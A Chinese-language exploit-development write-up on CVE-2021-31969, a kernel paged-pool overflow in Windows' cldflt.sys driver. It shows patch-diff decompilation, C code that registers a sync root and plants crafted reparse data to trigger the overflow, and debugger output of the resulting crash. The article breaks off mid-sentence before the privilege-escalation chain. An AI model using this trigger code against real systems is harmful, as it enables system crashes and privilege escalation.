利用限制性块大小的内核池溢出漏洞(CVE-2021-31969)实现权限提升

本文详细分析了Windows Cloud Files Mini Filter Driver中的CVE-2021-31969漏洞,展示了如何将受限的池溢出漏洞转化为完整的任意读写原语,最终实现SYSTEM权限的获取。文章涵盖了漏洞分析、利用限制、原语改进以及完整的利用链构建。

利用限制性块大小的内核池溢出漏洞(CVE-2021-31969)实现权限提升

引言

内存损坏漏洞的普遍存在仍然对利用构成了持续挑战。这种增加的难度源于防御机制的进步和软件系统日益复杂化。虽然基本的概念验证通常足以修补漏洞,但开发能够绕过现有对策的功能性利用程序,为了解高级威胁行为者的能力提供了宝贵见解。这尤其适用于受到严格审查的驱动程序cldflt.sys,该驱动程序自6月以来每个补丁星期二都持续收到补丁。值得注意的是,它已成为威胁行为者的关注焦点,紧随对clfs.sys和afd.sys驱动程序的利用之后。在本文中,我们旨在强调cldflt.sys的重要性,并倡导加强对该驱动程序及其相关组件的研究。

现在转向具体的漏洞,CVE-2021-31969最初由于其限制性而看起来难以利用。然而,通过操作分页池,可以将看似孤立的池溢出提升为完整的任意读/写场景。此利用授予提升的访问权限,允许获取SYSTEM权限的shell。

描述

Windows Cloud Files Mini Filter Driver权限提升漏洞

受影响版本

  • Windows 10 1809-21H2
  • Windows Server 2019

补丁差异

操作系统:Windows 10 1809 二进制文件:cldflt.sys

补丁前

版本:KB5003217 哈希:316016b70cd25ad43a0710016c85930616fe85ebd69350386f6b3d3060ec717e

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
v7 = *(_DWORD *)(a1 + 8);
someSize = HIWORD(v7);
if ( !_bittest((const int *)&v7, 0xFu) )
{
  *a3 = a1;
  return (unsigned int)v3;
}
allocatedSize = someSize + 8;
allocatedMem = ExAllocatePoolWithTag(PagedPool, someSize + 8, 'pRsH');
allocatedMemRef = allocatedMem;
if ( !allocatedMem )
{
  LODWORD(v3) = -1073741670;
  goto LABEL_3;
}
*(_QWORD *)allocatedMem = *(_QWORD *)a1;
*((_DWORD *)allocatedMem + 2) = *(_DWORD *)(a1 + 8);
v3 = (unsigned int)RtlDecompressBuffer(
                     COMPRESSION_FORMAT_LZNT1,
                     (PUCHAR)allocatedMem + 12,// uncompressed_buffer
                     allocatedSize - 12,      // uncompressed_buffer_size
                     (PUCHAR)(a1 + 12),
                     a2 - 12,
                     (PULONG)va);

补丁后

版本:KB5003646 哈希:5cef11352c3497b881ac0731e6b2ae4aab6add1e3107df92b2da46b2a61089a9

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
someSize = *(_WORD *)(a1 + 10);
if ( someSize >= 4u )
{
  if ( (*(_DWORD *)(a1 + 8) & 0x8000) == 0 )
  {
    *a3 = a1;
    return (unsigned int)status;
  }
  allocatedSize = someSize + 8;
  allocatedMem = ExAllocatePoolWithTag(PagedPool, allocatedSize, 'pRsH');
  allocatedMemRef = allocatedMem;
  if ( !allocatedMem )
  {
    LODWORD(status) = 0xC000009A;
    goto LABEL_3;
  }
  *(_QWORD *)allocatedMem = *(_QWORD *)a1;
  *((_DWORD *)allocatedMem + 2) = *(_DWORD *)(a1 + 8);
  status = (unsigned int)RtlDecompressBuffer(
                           COMPRESSION_FORMAT_LZNT1,
                           (PUCHAR)allocatedMem + 12,// uncompressed_buffer
                           allocatedSize - 12,// uncompressed_buffer_size
                           (PUCHAR)(a1 + 12),
                           a2 - 12,
                           (PULONG)va);

漏洞分析

引入的补丁包含一个验证机制,以确保变量someSize的最小值为4。

在应用此补丁之前,变量someSize没有4的下限,可能导致变量allocatedSize可能低于12的情况。因此,有时传递给RtlDecompressBuffer函数的UncompressedBufferSize参数取负值,触发无符号整数下溢,循环绕回0xFFFFFFF4。

根据LZNT1规范,压缩缓冲区中的第一个WORD是标头,包含元数据,例如缓冲区是否压缩及其大小。

压缩数据包含在单个块中。块标头解释为16位值,为0xB038。位15为1,因此块被压缩;位14至12是正确的签名值(3);位11至0为十进制56,因此块大小为59字节。

由于标头可由用户控制,可以将缓冲区标记为未压缩。

这导致RtlDecompressBuffer的行为类似于memcpy。

通过控制大小和数据,可以实现受控的分页池溢出。

结构

上面显示的变量a1是REPARSE_DATA_BUFFER类型。

1
2
3
4
5
6
7
8
typedef struct _REPARSE_DATA_BUFFER {
  ULONG  ReparseTag;
  USHORT ReparseDataLength;
  USHORT Reserved;
  struct {
    UCHAR DataBuffer[1];
  } GenericReparseBuffer;
} REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;

GenericReparseBuffer.DataBuffer包含由筛选器驱动程序设置的自定义数据。

1
2
3
4
5
6
struct cstmData
{
  WORD flag;
  WORD cstmDataSize;
  UCHAR compressedBuffer[1];
};

第一个WORD是标志,后跟影响池分配的大小,最后是传递给RtlDecompressBuffer的压缩缓冲区。

此数据存储在目录的重分析标记内,并将在下面提到的各种条件下检索和解压缩。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
HsmpRpReadBuffer:
v9 = (unsigned int)FltFsControlFile(
                     Instance,
                     FileObject,
                     FSCTL_GET_REPARSE_POINT,
                     0i64,
                     0,
                     reparseData,
                     0x4000u,
                     0i64);

...

status = HsmpRpiDecompressBuffer(reparseData, reparseDataSize, someOut);

触发漏洞

在Windows 10 1809的新副本上,默认情况下微型筛选器不会附加到任何驱动器。

需要注册才能附加它。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
HRESULT RegisterAndConnectSyncRoot(LPCWSTR Path, CF_CONNECTION_KEY *Key)
{
    HRESULT                  status = S_OK;
    CF_SYNC_REGISTRATION     reg = { sizeof(CF_SYNC_REGISTRATION) };
    CF_SYNC_POLICIES         pol = { sizeof(CF_SYNC_POLICIES) };
    CF_CALLBACK_REGISTRATION table[1] = { CF_CALLBACK_REGISTRATION_END };

    reg.ProviderName = L"HackProvider";
    reg.ProviderVersion = L"99";

    pol.Hydration.Primary = CF_HYDRATION_POLICY_FULL;
    pol.Population.Primary = CF_POPULATION_POLICY_FULL;
    pol.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_CONVERT_TO_UNRESTRICTED;

    if ((status = CfRegisterSyncRoot(Path, &reg, &pol, 0)) == S_OK)
        status = CfConnectSyncRoot(Path, table, 0, CF_CONNECT_FLAG_NONE, Key);

    return status;
}

现在它将通过其注册的前/后操作处理程序响应文件系统操作。

通过分析处理程序并使用邻近视图进行跟踪,可以找到可能触发解压缩的路径:

将文件转换为占位符、获取(创建)文件句柄或重命名文件等操作可能导致解压缩。

例如,这是在syncroot目录中获取文件句柄时的调用堆栈:

1
2
3
4
5
6
7
8
4: kd> k
 # Child-SP          RetAddr               Call Site
00 ffff8689`7915cf78 fffff807`5505722b     cldflt!HsmpRpiDecompressBuffer
01 ffff8689`7915cf80 fffff807`5503e4b2     cldflt!HsmpRpReadBuffer+0x267
02 ffff8689`7915cff0 fffff807`5505fd29     cldflt!HsmpSetupContexts+0x27a
03 ffff8689`7915d120 fffff807`5505fea9     cldflt!HsmiFltPostECPCREATE+0x47d
04 ffff8689`7915d1c0 fffff807`52a3442e     cldflt!HsmFltPostCREATE+0x9
05 ffff8689`7915d1f0 fffff807`52a33cf3     FLTMGR!FltpPerformPostCallbacks+0x32e
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
14: kd> dt _FILE_OBJECT @rdx
ntdll!_FILE_OBJECT
   +0x000 Type             : 0n5
   +0x002 Size             : 0n216
   +0x008 DeviceObject     : 0xffff8687`c43a8c00 _DEVICE_OBJECT
   +0x010 Vpb              : 0xffff8687`c43f69a0 _VPB
   +0x018 FsContext        : 0xffff9985`38f8e6f0 Void
   +0x020 FsContext2       : 0xffff9985`36ff4a00 Void
   +0x028 SectionObjectPointer : (null) 
   +0x030 PrivateCacheMap  : (null) 
   +0x038 FinalStatus      : 0n0
   +0x040 RelatedFileObject : (null) 
   +0x048 LockOperation    : 0 ''
   +0x049 DeletePending    : 0 ''
   +0x04a ReadAccess       : 0x1 ''
   +0x04b WriteAccess      : 0 ''
   +0x04c DeleteAccess     : 0 ''
   +0x04d SharedRead       : 0x1 ''
   +0x04e SharedWrite      : 0x1 ''
   +0x04f SharedDelete     : 0x1 ''
   +0x050 Flags            : 0x40002
   +0x058 FileName         : _UNICODE_STRING "\Windows\Temp\hax\vuln"
   +0x068 CurrentByteOffset : _LARGE_INTEGER 0x0
   +0x070 Waiters          : 0
   +0x074 Busy             : 1
   +0x078 LastLock         : (null) 
   +0x080 Lock             : _KEVENT
   +0x098 Event            : _KEVENT
   +0x0b0 CompletionContext : (null) 
   +0x0b8 IrpListLock      : 0
   +0x0c0 IrpList          : _LIST_ENTRY [ 0xffff8e85`b1dc0910 - 0xffff8e85`b1dc0910 ]
   +0x0d0 FileObjectExtension : (null) 

这意味着我们可以将任意重分析数据写入syncroot内创建的目录,并获取其句柄以触发池溢出。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
CreateDirectoryW(OverwriteDir, NULL);

hOverwrite = CreateFileW(
        OverwriteDir,
        GENERIC_ALL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_BACKUP_SEMANTICS,
        NULL
    );

status = DeviceIoControl(
        hOverwrite,
        FSCTL_SET_REPARSE_POINT_EX,
        newReparseData,
        newSize,
        NULL,
        0,
        &returned,
        NULL
    );

CloseHandle(hOverWrite);

// Trigger Bug
hOverwrite = CreateFileW(
        OverwriteDir,
        GENERIC_ALL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_BACKUP_SEMANTICS,
        NULL
    );

使用FSCTL_SET_REPARSE_POINT_EX是因为驱动程序注册了FSCTL_SET_REPARSE_POINT的前操作处理程序,该处理程序拒绝了我们的请求。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if ( v2->Parameters.FileSystemControl.Buffered.InputBufferLength >= 4
    && (Context && (*(_DWORD *)(*((_QWORD *)Context + 2) + 0x1Ci64) & 1) != 0
     || (*(_DWORD *)v2->Parameters.FileSystemControl.Buffered.SystemBuffer & 0xFFFF0FFF) == dword_1E4F0) )
  {
    if ( Context )
    {
      v3 = *((_QWORD *)Context + 2);
      v4 = *(_QWORD *)(*(_QWORD *)(v3 + 16) + 32i64);
    }
    HsmDbgBreakOnStatus(0xC000CF18);
    if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control
      && (HIDWORD(WPP_GLOBAL_Control->Timer) & 1) != 0
      && BYTE1(WPP_GLOBAL_Control->Timer) >= 2u )
    {
      WPP_SF_qqqd(
        WPP_GLOBAL_Control->AttachedDevice,
        17i64,
        &WPP_7c63b6f3d9f33043309d9f605c648752_Traceguids,
        Context,
        v3,
        v4,
        0xC000CF18);
    }
    a1->IoStatus.Information = 0i64;
    v7 = 4;
    a1->IoStatus.Status = 0xC000CF18;
  }

检查在于(*(_DWORD )(((_QWORD *)Context + 2) + 0x1Ci64) & 1) != 0。 上下文不受用户控制,因此此调用将始终失败。

如上所述,我们可以控制压缩缓冲区内容,使RtlDecompressBuffer的行为类似于memcpy。

1
2
3
4
5
    // controlled size, controlled content overflow!
    *(WORD *)&payload[0] = 0x8000; // pass flag check
    *(WORD *)&payload[2] = 0x0; // size to trigger underflow
    *(WORD *)&payload[4] = 0x30-1; // lznt1 header: uncompressed, 0x30 size
    memset(&payload[6], 'B', 0x100);

此特定重分析缓冲区导致在分页池中分配0x20大小的块。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
1: kd> !pool @rax
Pool page ffff9f0ab3547090 region is Paged pool
 ffff9f0ab3547000 size:   60 previous size:    0  (Free)       ....
 ffff9f0ab3547060 size:   20 previous size:    0  (Allocated)  Via2
*ffff9f0ab3547080 size:   20 previous size:    0  (Allocated) *HsRp
        Owning component : Unknown (update pooltag.txt)
 ffff9f0ab35470a0 size:   20 previous size:    0  (Allocated)  Ntfo
 ffff9f0ab35470c0 size:   20 previous size:    0  (Allocated)  ObNm
 ffff9f0ab35470e0 size:   20 previous size:    0  (Allocated)  PsJb
 ffff9f0ab3547100 size:   20 previous size:    0  (Allocated)  VdPN
 ffff9f0ab3547120 size:   20 previous size:    0  (Allocated)  Via2

然而,精心制作的LZNT1标头将导致0x30个’B’被复制到从偏移量0xC开始的内存中,而池分配只能容纳0x10字节的用户数据,因此导致0x2C字节的溢出,损坏相邻块并最终导致BSOD。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
4: kd> g
KDTARGET: Refreshing KD connection

*** Fatal System Error: 0x0000007e
                       (0xFFFFFFFFC0000005,0xFFFFF804044ED09A,0xFFFFDA8F76595748,0xFFFFDA8F76594F90)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

溢出的内容和大小完全在我们的控制之下,而分配的块固定为0x20字节。

限制

我们只有一次溢出的机会,因此我们希望有一个可以执行读写操作的对象。

在现代Windows上,如果低碎片堆(LFH)处于活动状态,则小于0x200字节的池分配由其管理。对于像0x20这样的常见大小,其LFH存储桶在利用开始时无疑已被激活。在LFH的控制下,易受攻击的块将仅定位在同一存储桶中的其他0x20大小块旁边,这防止了通过溢出到相邻的强大对象(如WNF)来改进原语的简单方法。此外,找到一个0x20大小的对象来实现任意读写是困难的,因为0x20大小的分配

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计